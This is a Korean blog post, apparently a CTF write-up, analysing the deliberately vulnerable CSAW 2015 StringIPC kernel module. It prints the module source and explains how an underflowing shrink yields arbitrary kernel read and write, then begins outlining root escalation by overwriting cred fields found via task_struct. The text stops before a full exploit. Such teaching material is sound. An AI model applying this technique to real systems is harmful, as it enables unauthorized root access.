Kernel Exploit in CTF 04 - CSAW2015 StringIPC

By puing | June 29, 2018

CTF 문제로 공부하는 Kernel Exploit EP.04 - CSAW 2015 SpringIPC


안녕 안녕! puing 입니다!
이번에 가져온 문제는 2015 CSAW 에 출제되었던 StringIPC 라는 문제입니다.

각설하고 시작 해 볼까요?!




오늘도 역시나 문제소스부터 시작~


뭔가 이 시리즈에 나오는 문제 소스를 다 보려면 스크롤 7~8번은 항상 해야 합니다ㅋㅋ
쫄지 말고 차근차근 봅시다…!!


#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <linux/idr.h>
#include <asm/uaccess.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct ipc_channel {
    struct kref ref;
    int id;
    char *data;
    size_t buf_size;
    loff_t index;
};

static struct idr ipc_idr;

struct ipc_state {
    struct ipc_channel *channel;
    struct mutex lock;
};

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct open_channel_args {
    int id;
};

struct grow_channel_args {
    int id;
    size_t size;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

struct close_channel_args {
    int id;
};

static void ipc_channel_get ( struct ipc_channel *channel )
{
    kref_get(&channel->ref);
}

static void ipc_channel_destroy ( struct kref *ref )
{
    struct ipc_channel *channel = container_of(ref, struct ipc_channel, ref);

    idr_remove(&ipc_idr, channel->id);

    kfree(channel->data);
    kfree(channel);
}

static void ipc_channel_put ( struct ipc_state *state, struct ipc_channel *channel )
{
    kref_put(&channel->ref, ipc_channel_destroy);
}

static int csaw_open ( struct inode *inode, struct file *file )
{
    struct ipc_state *state;

    state = kzalloc(sizeof(*state), GFP_KERNEL);
    if ( state == NULL )
        return -ENOMEM;

    mutex_init(&state->lock);

    file->private_data = state;

    return 0;
}

int alloc_new_ipc_channel ( size_t buf_size, struct ipc_channel **out_channel )
{
    int id;
    char *data;
    struct ipc_channel *channel;

    if ( ! buf_size )
        return -EINVAL;

    channel = kzalloc(sizeof(*channel), GFP_KERNEL);
    if ( channel == NULL )
        return -ENOMEM;

    data = kzalloc(buf_size, GFP_KERNEL);
    if ( data == NULL )
    {
        kfree(channel);
        return -ENOMEM;
    }

    kref_init(&channel->ref);

    channel->data = data;
    channel->buf_size = buf_size;

    id = idr_alloc(&ipc_idr, channel, 1, 0, GFP_KERNEL);
    if ( id < 0 )
    {
        kfree(data);
        kfree(channel);
        return id;
    }

    channel->id = id;
    *out_channel = channel;

    return 0;
}

static struct ipc_channel *get_channel_by_id ( struct ipc_state *state, int id )
{
    struct ipc_channel *channel;

    channel = idr_find(&ipc_idr, id);
    if ( channel )
        ipc_channel_get(channel);

    if ( channel )
        return channel;
    else
        return ERR_PTR(-EINVAL);
}

static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
    struct ipc_channel *channel;
    size_t new_size;
    char *new_data;

    channel = get_channel_by_id(state, id);
    if ( IS_ERR(channel) )
        return PTR_ERR(channel);

    if ( grow )
        new_size = channel->buf_size + size;
    else
        new_size = channel->buf_size - size;

    new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
    if ( new_data == NULL )
        return -EINVAL;

    channel->data = new_data;
    channel->buf_size = new_size;

    ipc_channel_put(state, channel);

    return 0;
}

static ssize_t read_ipc_channel ( struct ipc_state *state, char __user *buf, size_t count )
{
    struct ipc_channel *channel;
    loff_t *pos;

    if ( ! state->channel )
        return -ENXIO;

    channel = state->channel;
    pos = &channel->index;

    if ( (count + *pos) > channel->buf_size )
        return -EINVAL;

    if ( copy_to_user(buf, channel->data + *pos, count) )
        return -EINVAL;

    return count;
}

static ssize_t write_ipc_channel ( struct ipc_state *state, const char __user *buf, size_t count )
{
    struct ipc_channel *channel;
    loff_t *pos;

    if ( ! state->channel )
        return -ENXIO;

    channel = state->channel;
    pos = &channel->index;

    if ( (count + *pos) > channel->buf_size )
        return -EINVAL;

    if ( strncpy_from_user(channel->data + *pos, buf, count) < 0 )
        return -EINVAL;

    return count;
}

static loff_t seek_ipc_channel ( struct ipc_state *state, loff_t offset, int whence )
{
    loff_t ret = -EINVAL;
    struct ipc_channel *channel = state->channel;

    if ( ! channel )
        return -ENXIO;

    switch ( whence )
    {
        case SEEK_SET:
            if ( offset < channel->buf_size )
            {
                channel->index = offset;
                ret = offset;
            }
            break;

        case SEEK_CUR:
            ret = channel->index;
            break;
    }

    return ret;
}

static int close_ipc_channel ( struct ipc_state *state, int id )
{
    struct ipc_channel *channel;

    channel = get_channel_by_id(state, id);
    if ( IS_ERR(channel) )
        return PTR_ERR(channel);

    if ( state->channel == channel )
    {
        state->channel = NULL;
        ipc_channel_put(state, channel);
    }

    ipc_channel_put(state, channel);

    return 0;
}

static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg )
{
    long ret = 0;
    unsigned long *argp = (unsigned long *)arg;
    struct ipc_state *state = file->private_data;

    switch ( cmd )
    {
        case CSAW_ALLOC_CHANNEL:
        {
            struct alloc_channel_args alloc_channel;
            struct ipc_channel *channel;

            if ( copy_from_user(&alloc_channel, argp, sizeof(alloc_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);

            if ( state->channel )
            {
                ret = -EBUSY;
                goto RET_UNLOCK;
            }

            ret = alloc_new_ipc_channel(alloc_channel.buf_size, &channel);
            if ( ret < 0 )
                goto RET_UNLOCK;

            state->channel = channel;

            if ( ret < 0 )
                alloc_channel.id = 0;
            else
                alloc_channel.id = channel->id;

            if ( copy_to_user(argp, &alloc_channel, sizeof(alloc_channel)) )
            {
                close_ipc_channel(state, channel->id);
                ret = -EINVAL;
            }

            mutex_unlock(&state->lock);

            break;
        }

        case CSAW_OPEN_CHANNEL:
        {
            struct open_channel_args open_channel;
            struct ipc_channel *channel;

            if ( copy_from_user(&open_channel, argp, sizeof(open_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);

            if ( state->channel )
            {
                ret = -EBUSY;
                goto RET_UNLOCK;
            }

            channel = get_channel_by_id(state, open_channel.id);
            if ( IS_ERR(channel) )
            {
                ret = PTR_ERR(channel);
                goto RET_UNLOCK;
            }

            state->channel = channel;

            ipc_channel_put(state, channel);

            mutex_unlock(&state->lock);

            break;
        }

        case CSAW_GROW_CHANNEL:
        {
            struct grow_channel_args grow_channel;

            if ( copy_from_user(&grow_channel, argp, sizeof(grow_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);
            ret = realloc_ipc_channel(state, grow_channel.id, grow_channel.size, 1);
            mutex_unlock(&state->lock);

            break;
        }

        case CSAW_SHRINK_CHANNEL:
        {
            struct shrink_channel_args shrink_channel;

            if ( copy_from_user(&shrink_channel, argp, sizeof(shrink_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);
            ret = realloc_ipc_channel(state, shrink_channel.id, shrink_channel.size, 0);
            mutex_unlock(&state->lock);

            break;
        }

        case CSAW_READ_CHANNEL:
        {
            struct read_channel_args read_channel;

            if ( copy_from_user(&read_channel, argp, sizeof(read_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);
            ret = read_ipc_channel(state, read_channel.buf, read_channel.count);
            mutex_unlock(&state->lock);

            break;
        }

        case CSAW_WRITE_CHANNEL:
        {
            struct write_channel_args write_channel;

            if ( copy_from_user(&write_channel, argp, sizeof(write_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);
            ret = write_ipc_channel(state, write_channel.buf, write_channel.count);
            mutex_unlock(&state->lock);

            break;
        }

        case CSAW_SEEK_CHANNEL:
        {
            struct seek_channel_args seek_channel;

            if ( copy_from_user(&seek_channel, argp, sizeof(seek_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);
            ret = seek_ipc_channel(state, seek_channel.index, seek_channel.whence);
            mutex_unlock(&state->lock);

            break;
        }

        case CSAW_CLOSE_CHANNEL:
        {
            struct close_channel_args close_channel;

            if ( copy_from_user(&close_channel, argp, sizeof(close_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);
            ret = close_ipc_channel(state, close_channel.id);
            mutex_unlock(&state->lock);

            break;
        }
    }

    return ret;

RET_UNLOCK:
    mutex_unlock(&state->lock);
    return ret;
}

static int csaw_release ( struct inode *inode, struct file *file )
{
    struct ipc_state *state = file->private_data;

    if ( state->channel )
        ipc_channel_put(state, state->channel);

    kfree(state);

    return 0;
}

struct file_operations csaw_fops = {
    owner:          THIS_MODULE,
    open:           csaw_open,
    release:        csaw_release,
    unlocked_ioctl: csaw_ioctl,
};

static struct miscdevice csaw_miscdev = {
    name:   "csaw",
    fops:   &csaw_fops
};

static int __init init_csaw ( void )
{
    idr_init(&ipc_idr);

    misc_register(&csaw_miscdev);

    return 0;
}

static void __exit exit_csaw ( void )
{
    misc_deregister(&csaw_miscdev);

    idr_destroy(&ipc_idr);
}

module_init(init_csaw);
module_exit(exit_csaw);

MODULE_LICENSE("GPL");




소스를 들여다 봅시다


문제 소스를 보면, 2013 Brad-Oberberg kernel exploit 문제와 같이 ioctl 을 이용하여 사용자의 input output 을 처리합니다.

csaw_ioctl 함수를 보면, 총 8개의 case 가 있습니다.


CSAW_ALLOC_CHANNEL 부터 보면,
copy_from_user 함수로 사용자가 입력한 값들을 alloc_channel 구조체로 담아오고,
alloc_new_ipc_channel 함수의 인자로 넘겨줍니다.

alloc_channel 구조체의 id 변수에 값을 채우고 다시 copy_to_user 함수로 alloc_channel 구조체를 담아서 보냅니다.


alloc_new_ipc_channel 함수의 내용은 아래와 같습니다.


alloc_new_ipc_channel

int alloc_new_ipc_channel ( size_t buf_size, struct ipc_channel **out_channel )
{
    int id;
    char *data;
    struct ipc_channel *channel;

    if ( ! buf_size )
        return -EINVAL;

    channel = kzalloc(sizeof(*channel), GFP_KERNEL);
    if ( channel == NULL )
        return -ENOMEM;

    data = kzalloc(buf_size, GFP_KERNEL);
    if ( data == NULL )
    {
        kfree(channel);
        return -ENOMEM;
    }

    kref_init(&channel->ref);

    channel->data = data;
    channel->buf_size = buf_size;

    id = idr_alloc(&ipc_idr, channel, 1, 0, GFP_KERNEL);
    if ( id < 0 )
    {
        kfree(data);
        kfree(channel);
        return id;
    }

    channel->id = id;
    *out_channel = channel;

    return 0;
}


사용자가 정한 크기만큼 kzalloc 함수로 메모리 할당을 받아 data 에 주소를 저장하고, ipc_channel 구조체에 맞게 kzalloc 함수로 메모리 할당을 받은 후 id, data, buf_size 변수에 내용을 담습니다.


  • idr_alloc 함수의 리턴값이 id 변수로 들어가게 되죠?
    • idr_alloc(struct idr * idr, void * ptr, int start, int end, gfp_t gfp_mask) 함수는
      인자로 들어온 ptr 과 관련된 id 를 반환해주는 함수입니다.

  • 이후에 나올 idr_find(struct idr *idp, int id) 함수는 id 에 대응하는 ptr 을 찾아주는 함수입니다.**


CSAW_OPEN_CHANNEL 는 get_channel_by_id 함수로 channel 주소를 알아낸 후, ipc_channel_put 함수로 참조 카운터를 감소시킵니다.


  • 참조 카운터Reference Counter란?
    • 누군가에게 참조되고 있는지 아닌지를 상태를 처리하기위해 struct kref 를 사용합니다.
    • alloc_new_ipc_channel 함수에서 kref_init 함수를 호출하는데 kref_init 함수는 참조 카운터를 1로 초기화하는 역할을 합니다.

  • get_channel_by_id 함수에서는 ipc_channel_get 를 호출하고 ipc_channel_get 함수에서 kref_get 함수를 호출하는데, kref_get 함수는 참조 카운터를 1 증가하는 역할을 합니다.
  • ipc_channel_put 함수를 보면, kref_put(&channel->ref, ipc_channel_destroy) 이 함수를 호출합니다. kref_put 함수는 참조 카운터를 감소하는 역할을 합니다.
  • 참조 카운터가 0일 경우, ipc_channel_destroy 함수가 호출됩니다.
  • kref 관련 함수뿐만아니라 idr, mutex, 등등 몰랐던 함수들이 눈에 보였는데 문제를 풀고나서보니 exploit 이나, 해당 문제에 있는 취약점과 크게 관련있는 함수들은 아니라서 가볍게 그냥 이런 역할을 하는 함수구나 정도로 생각하고 넘어가도 무방할 듯 합니다 ^^ ㅎㅎㅎㅎ


CSAW_GROW_CHANNEL 는 realloc_ipc_channel 함수를 호출하고, realloc_ipc_channel 함수에서는 get_channel_by_id 함수로 channel 을 찾은 후, size 만큼 buf_size 에 더해서 krealloc 함수로 재 할당을 받습니다.

그리고 ipc_channel_put 함수를 호출해서 참조 카운터를 감소시킵니다.


    channel = get_channel_by_id(state, id);
    if ( IS_ERR(channel) )
        return PTR_ERR(channel);

    if ( grow )
        new_size = channel->buf_size + size;
    else
        new_size = channel->buf_size - size;

    new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
    if ( new_data == NULL )
        return -EINVAL;

    channel->data = new_data;
    channel->buf_size = new_size;

    ipc_channel_put(state, channel);


CSAW_SHRINK_CHANNELCSAW_GROW_CHANNEL 와 흡사합니다. size 만큼 buf_size 에서 뺀만큼 krealloc 함수로 재 할당을 받습니다.

CSAW_READ_CHANNEL 는 channel->data 에서 index 만큼 떨어진 곳부터 count 만큼 읽을 수 있게 해줍니다.


    channel = state->channel;
    pos = &channel->index;

    if ( (count + *pos) > channel->buf_size )
        return -EINVAL;

    if ( copy_to_user(buf, channel->data + *pos, count) )


CSAW_WRITE_CHANNELCSAW_READ_CHANNEL 와 비슷하게 channel->data 에서 index 만큼 떨어진 곳에 count 만큼 쓸 수 있게해줍니다.


    channel = state->channel;
    pos = &channel->index;

    if ( (count + *pos) > channel->buf_size )
        return -EINVAL;

    if ( strncpy_from_user(channel->data + *pos, buf, count) < 0 )


CSAW_SEEK_CHANNEL 는 seek_channel 구조체의 whence 값에 따라 offset 값을 channel->index 와 ret 에 넣어주거나, channel->index 값을 ret 에 넣어줍니다.


    switch ( whence )
    {
        case SEEK_SET:
            if ( offset < channel->buf_size )
            {
                channel->index = offset;
                ret = offset;
            }
            break;

        case SEEK_CUR:
            ret = channel->index;
            break;
    }


CSAW_CLOSE_CHANNEL 는 close_ipc_channel 함수를 호출하고, close_ipc_channel 함수에서는 get_channel_by_id 함수로 channel 을 찾은 후에 ipc_channel_put 함수로 참조 카운터를 감소시킵니다.


    channel = get_channel_by_id(state, id);
    if ( IS_ERR(channel) )
        return PTR_ERR(channel);

    if ( state->channel == channel )
    {
        state->channel = NULL;
        ipc_channel_put(state, channel);
    }

    ipc_channel_put(state, channel);


커널 모듈의 내용을 간단하게 요약해서 말하자면!!


  1. channel 을 할당하고 - alloc
  2. channel 을 열고 닫고 - open, close
  3. channel 크기를 줄이고 늘리고 - grow, shrink
  4. channel 데이터를 읽거나 쓰거나 - read, write


되겠습니다.




그럼 이제 Channel 을 읽고 써보자


그럼 이제 간단하게 channel 을 할당하고 읽고 쓰기를 해볼게요 ㅎㅎ


작성한 alloc_read_write_channel.c 내용

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

int main(int argc, char **argv)
{
	int fd, id, ret;
	char *buf2 = "hello world~~";
	char *buf3;
	struct alloc_channel_args alloc_channel;
	struct write_channel_args write_channel;
	struct read_channel_args read_channel;

	fd = open("/dev/csaw", O_RDONLY);
	memset(&alloc_channel, 0, sizeof(alloc_channel));
	alloc_channel.buf_size = 50;

	ret = ioctl(fd, CSAW_ALLOC_CHANNEL, &alloc_channel);

	id = alloc_channel.id;

	printf("id : %d\n", id);

	memset(&write_channel, 0, sizeof(write_channel));

	write_channel.id = id;
	write_channel.buf = buf2;
	write_channel.count = strlen(buf2);

	ret = ioctl(fd, CSAW_WRITE_CHANNEL, &write_channel);

	memset(&read_channel, 0, sizeof(read_channel));
	buf3 = malloc(20);

	read_channel.id = id;
	read_channel.buf = buf3;
	read_channel.count = 13;

	ret = ioctl(fd, CSAW_READ_CHANNEL, &read_channel);

	printf("buf : %s\n", buf3);
	printf("buf : %s\n", read_channel.buf);

	return 0;
}


처음에 buf_size 를 50 으로 넣어주고 CSAW_ALLOC_CHANNEL 를 사용하여 channel 을 할당받고, hello world~~ 문자열이 들어있는 buf2 를 write_channel.buf 에 넣어주고 CSAW_WRITE_CHANNEL 를 사용하여 쓰기 작업을 하고, 마지막으로 CSAW_READ_CHANNEL 를 사용하여 읽기 작업을하는 내용입니다.


위 내용대로 작성하여 실행해보면, 정상적으로 실행되는 것을 확인할 수 있습니다.
(모듈 소스도 내용을 출력할 수 있도록 printk 함수를 추가하였습니다.)


printk 함수를 추가한 부분

static ssize_t read_ipc_channel ( struct ipc_state *state, char __user *buf, size_t count )
{
    struct ipc_channel *channel;
    loff_t *pos;

    if ( ! state->channel )
        return -ENXIO;

    channel = state->channel;
    pos = &channel->index;

    if ( (count + *pos) > channel->buf_size ){
        printk(KERN_INFO "count+*pos > buf_size\n");
        return -EINVAL;
    }

    if ( copy_to_user(buf, channel->data + *pos, count) ){
        printk(KERN_INFO "copy_to_user error\n");
        return -EINVAL;
    }

    printk(KERN_INFO "buf in read_ipc_channel : %s\n", buf);

    return count;
}

static ssize_t write_ipc_channel ( struct ipc_state *state, const char __user *buf, size_t count )
{
    struct ipc_channel *channel;
    loff_t *pos;

    if ( ! state->channel ){
        printk(KERN_INFO "state->channel\n");
        return -ENXIO;
    }

    channel = state->channel;
    pos = &channel->index;

    if ( (count + *pos) > channel->buf_size ){
        printk(KERN_INFO "EINVAL\n");
        return -EINVAL;

    }

    if ( strncpy_from_user(channel->data + *pos, buf, count) < 0 ){
        printk(KERN_INFO "error\n");
        return -EINVAL;
    }

    printk(KERN_INFO "channel->data + *pos : %s\n", channel->data + *pos);

    return count;
}

...
...
...

        case CSAW_READ_CHANNEL:
        {
            struct read_channel_args read_channel;

            if ( copy_from_user(&read_channel, argp, sizeof(read_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);
            printk(KERN_INFO "read_channel.buf : %s\n", read_channel.buf);
            ret = read_ipc_channel(state, read_channel.buf, read_channel.count);
            mutex_unlock(&state->lock);

            break;
        }

        case CSAW_WRITE_CHANNEL:
        {
            struct write_channel_args write_channel;

            if ( copy_from_user(&write_channel, argp, sizeof(write_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);
            ret = write_ipc_channel(state, write_channel.buf, write_channel.count);
            printk(KERN_INFO "buf : %s\n", write_channel.buf);


결과 화면을 보면, hello world~~ 문자열이 write_ipc_channel 함수를 통해서 잘 써졌고 read_ipc_channel 함수로 읽을 수 있는 것을 확인할 수 있습니다.



hello world 읽고 쓰기!

(위에서 말했다시피)

alloc_new_ipc_channel 함수에서 kzalloc 으로 할당받은 주소를 data 에 넣고,
write_ipc_channel,read_ipc_channel 함수에서 data + *pos 에 쓰거나, data + *pos 를 읽어오거나 합니다.






여기서 중요하게 봐야할 곳이 있습니다!!!!


바로 realloc_ipc_channel 함수입니다! ㅎㅎㅎ




중요한 곳을 들여다보자!


CSAW_SHRINK_CHANNEL 를 사용하여 realloc_ipc_channel 함수를 호출할 수 있는데, (grow 변수엔 0이 있기때문에) new_size 에는 buf_size 에서 size 를 뺀 값이 들어가게되고, 여기에 + 1 한 값이 krealloc 함수의 인자로 들어가게됩니다. krealloc 함수는 이미 할당된 영역을 재 할당해주는 함수입니다. (기존의 데이터는 그대로이고요!!)


    if ( grow )
        new_size = channel->buf_size + size;
    else
        new_size = channel->buf_size - size;

    new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
    if ( new_data == NULL )
        return -EINVAL;

...
...
...

    case CSAW_SHRINK_CHANNEL:
        {
            struct shrink_channel_args shrink_channel;

            if ( copy_from_user(&shrink_channel, argp, sizeof(shrink_channel)) )
                return -EINVAL;

            mutex_lock(&state->lock);
            ret = realloc_ipc_channel(state, shrink_channel.id, shrink_channel.size, 0);
            mutex_unlock(&state->lock);

            break;
        }


그리고 krealloc 함수 내용을 보면 아래와 같습니다.


void *krealloc(const void *p, size_t new_size, gfp_t flags)
{
        void *ret;

        if (unlikely(!new_size)) {
                kfree(p);
                return ZERO_SIZE_PTR;
        }

        ret = __do_krealloc(p, new_size, flags);
        if (ret && p != ret)
                kfree(p);

        return ret;
}


new_size 가 0이면 kfree 함수로 메모리를 해제한 후 ZERO_SIZE_PTR 을 리턴합니다. ZERO_SIZE_PTR 은 linux/slab.h 에 아래와 같이 정의되어 있습니다.

#define ZERO_SIZE_PTR ((void *)16)


그럼 16이 return 됩니다. 이 값은 new_data 변수에 들어가게됩니다. 즉, CSAW_SHRINK_CHANNEL 를 사용할 때, buf_size 보다 1 더 큰 수를 size 로 넣어서 사용하면, new_size 는 -1(0xffffffff) 가 되고 krealloc 함수를 호출 할 때, new_size+1 인자는 0이되어 16이 return 될 것 입니다.

결국엔 channel->data 는 16, channel->buf_size 는 -1(0xffffffff) 가 됩니다.




바로 여기서 원하는 데이터를 읽고, 쓰기가 가능합니다!!


realloc_ipc_channel 함수를 이용하여 channel->data 와 channel->buf_size 를 각각 16,0xffffffff 로 만들어준 상태에서 read_ipc_channel 함수를 호출했다고 가정해봅시다.


read_ipc_channel 함수 내용에서 copy_to_user 함수로 buf 에 옮겨줍니다.

if ( copy_to_user(buf, channel->data + *pos, count) )
        return -EINVAL;


channel->data 에는 16이 들어가있는 상태고, *pos 에 있는 값에 따라 어떤 주소에 있는 내용들이 buf 로 옮겨질지 달라집니다.
하지만 pos 변수 값은 우리가 컨트롤 할 수 있는 변수입니다!!!!!!!!!!!!!

    channel = state->channel;
    pos = &channel->index;

    if ( (count + *pos) > channel->buf_size )
        return -EINVAL;


위 내용을 보면, &channel->index 값이 그대로 pos 로 들어갑니다. 우리가 pos 값을 컨트롤 할 수 있다는건?! 원하는 값이 있는 주소를 buf 로 옮길 수 있다. 즉, leak 이 가능하다는 것 입니다. leak 하고자 하는 내용이 있는 주소를 channel->data + *pos 에 알맞게 맞춰주면 바로 leak 이 가능합니다.

예를 들어 leak 하려는 주소가 0x41414141 이라면 channel->data 가 16이니까 pos 의 값을 0x41414141-16(10) 로 넣어주면 되겠죠?ㅎㅎ


왜 pos가 컨트롤이 가능한 것인지는 seek_ipc_channel 함수를 보면 알 수 있습니다.(모듈 내용을 보면, krealloc 함수에서 16을 return 해주는 구조만 이해하면 leak 해주고, 원하는 곳에 값을 write 해주는 함수들이 다 있기 때문에 적절히 이용하기만하면 문제를 풀 수 있습니다^^)


seek_ipc_channel

static loff_t seek_ipc_channel ( struct ipc_state *state, loff_t offset, int whence )
{
    loff_t ret = -EINVAL;
    struct ipc_channel *channel = state->channel;

    if ( ! channel )
        return -ENXIO;

    switch ( whence )
    {
        case SEEK_SET:
            if ( offset < channel->buf_size )
            {
                channel->index = offset;
                ret = offset;
            }
            break;

        case SEEK_CUR:
            ret = channel->index;
            break;
    }

    return ret;
}


case SEEK_SET 이 부분을 보면, offsetchannel->index 로 들어갑니다.

CSAW_SEEK_CHANNEL 를 사용할 때(seek_ipc_channel(state, seek_channel.index, seek_channel.whence)),
index 에 원하는 주소를,
whence 에는 SEEK_SET 을 넣어 사용하면 되겠죠?ㅎㅎ




원하는 곳에 원하는 값 쓰기!


그럼 원하는 곳에 쓰는 작업은 어떻게 할까요?


write_ipc_channel 함수를 보면, read_ipc_channel 함수와 비슷합니다. buf 의 내용을 channel->data + *pos 이 곳으로 옮겨줍니다. 여기서도 역시 *pos 값은 우리가 컨트롤할 수 있습니다 ^^! 즉, 원하는 내용을 원하는 곳에 쓸 수 있다는 것이죠!!


    channel = state->channel;
    pos = &channel->index;

    if ( (count + *pos) > channel->buf_size )
        return -EINVAL;

    if ( strncpy_from_user(channel->data + *pos, buf, count) < 0 )
        return -EINVAL;


seek_ipc_channel, read_ipc_channel, write_ipc_channel 을 이용하여 leak 과 원하는 곳에 쓰기 작업이 가능합니다.
이제 어디에 어떤 값을 쓰면 될까요??ㅎㅎ


이 전에는 commit_creds(prepare_kernel_cred(0)) 형태를 사용했었죠? 이 함수들을 호출하여 권한 상승을 했습니다.
하지만 이번엔 이 함수들을 사용하지 않습니다ㅎㅎ
다른 형태로 권한 상승을 해볼게요 ㅎㅎ


include/linux/sched.h 파일엔 task_struct 라는 구조체가 정의되어있습니다. 이 구조체에는 해당 프로세스에 관한 정보들이 들어있어요 ㅎㅎ


task_struct

struct task_struct {
        volatile long state;    /* -1 unrunnable, 0 runnable, >0 stopped */
        void *stack;
        atomic_t usage;
        unsigned int flags;     /* per process flags, defined below */
        unsigned int ptrace;

#ifdef CONFIG_SMP
        struct llist_node wake_entry;
        int on_cpu;
        unsigned int wakee_flips;
        unsigned long wakee_flip_decay_ts;
        struct task_struct *last_wakee;

        int wake_cpu;
#endif
        int on_rq;

        int prio, static_prio, normal_prio;
        unsigned int rt_priority;
        const struct sched_class *sched_class;
        struct sched_entity se;
        struct sched_rt_entity rt;
#ifdef CONFIG_CGROUP_SCHED
        struct task_group *sched_task_group;
#endif
        struct sched_dl_entity dl;

       ...
       ...
       ...


구조체가 생각보다 크네요..ㄷㄷ
구조체 내용중에서 봐야할 변수들은 아래와 같습니다!


/* process credentials */
        const struct cred __rcu *real_cred; /* objective and real subjective task
                                         * credentials (COW) */
        const struct cred __rcu *cred;  /* effective (overridable) subjective task
                                         * credentials (COW) */
        char comm[TASK_COMM_LEN]; /* executable name excluding path
                                     - access with [gs]et_task_comm (which lock
                                       it with task_lock())
                                     - initialized normally by setup_new_exec */


뭔가 cred 에서 느낌 낭낭하게 오지않나요..?
read_credcred 는 권한과 관련된 정보를 가지고 있는 구조체를 가리키고 있는 포인터입니다.

cred 구조체 내용은 아래와 같습니다.


struct cred

struct cred {
        atomic_t        usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC      0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
        kuid_t          uid;            /* real UID of the task */
        kgid_t          gid;            /* real GID of the task */
        kuid_t          suid;           /* saved UID of the task */
        kgid_t          sgid;           /* saved GID of the task */
        kuid_t          euid;           /* effective UID of the task */
        kgid_t          egid;           /* effective GID of the task */
        kuid_t          fsuid;          /* UID for VFS ops */
        kgid_t          fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
        kernel_cap_t    cap_ambient;    /* Ambient capability set */

        ...
        ...
        ...


위 내용의 구조체를 가리키고 있는 real_cred, cred 포인터 변수는 일반적으로 같은 구조체를 가리킨다고 합니다. 그래서 어느 변수로 접근하든 권한 상승이 가능하죠.


  • 정확히는 read_cred 는 해당 프로세스에 접근하려면 필요한 권한 정보를 가지고 있는 구조체를 가리키고, cred 는 해당 프로세스가 다른 작업을 하려고할 때 가지게 되는 권한 정보를 가지고 있는 구조체를 가리킵니다. (보통 이 두 변수는 같은 구조체를 가리킨다고 합니다.)


cred 구조체의 uid,gid.. 이 변수들을 다 0으로 채워주면 그대로 해당 프로세스는 권한이 0, 즉 루트 권한으로 상승하겠죠?


쉽게 정리를하면, task_struct 구조체에는 real_cred, cred 라는 cred 구조체를 가리키는 포인터 변수들이 있는데 이 들은 기본적으로 같은 구조체를 가리키고, 어느 변수를 통해서든 cred 구조체의 uid, gid… 이 변수들을 0 으로 채워주면 권한 상승이 가능하게됩니다!




우리는 이미 원하는 곳에 쓰기가 가능한 상태이기 때문에, cred 구조체의 uid, gid .. 이 변수들에 각각 0을 쓰기만 하면 되겠죠?!?!?
근데 cred 구조체의 uid, gid .. 이 위치를 어떻게 알아낼까요..? 어딘지 알고 0을 쓸까요?ㅎㅎ


아까 위에서 본 task_struct 구조체를 다시 한 번 볼까요?


...
...
...

/* process credentials */
        const struct cred __rcu *real_cred; /* objective and real subjective task
                                         * credentials (COW) */
        const struct cred __rcu *cred;  /* effective (overridable) subjective task
                                         * credentials (COW) */
        char comm[TASK_COMM_LEN]; /* executable name excluding path
                                     - access with [gs]et_task_comm (which lock
                                       it with task_lock())
                                     - initialized normally by setup_new_exec */

...
...
...


real_cred, cred 변수밑에 comm 이라는 char 형 배열이 있죠? 이 배열에는 해당 프로세스 이름이 들어가있습니다.


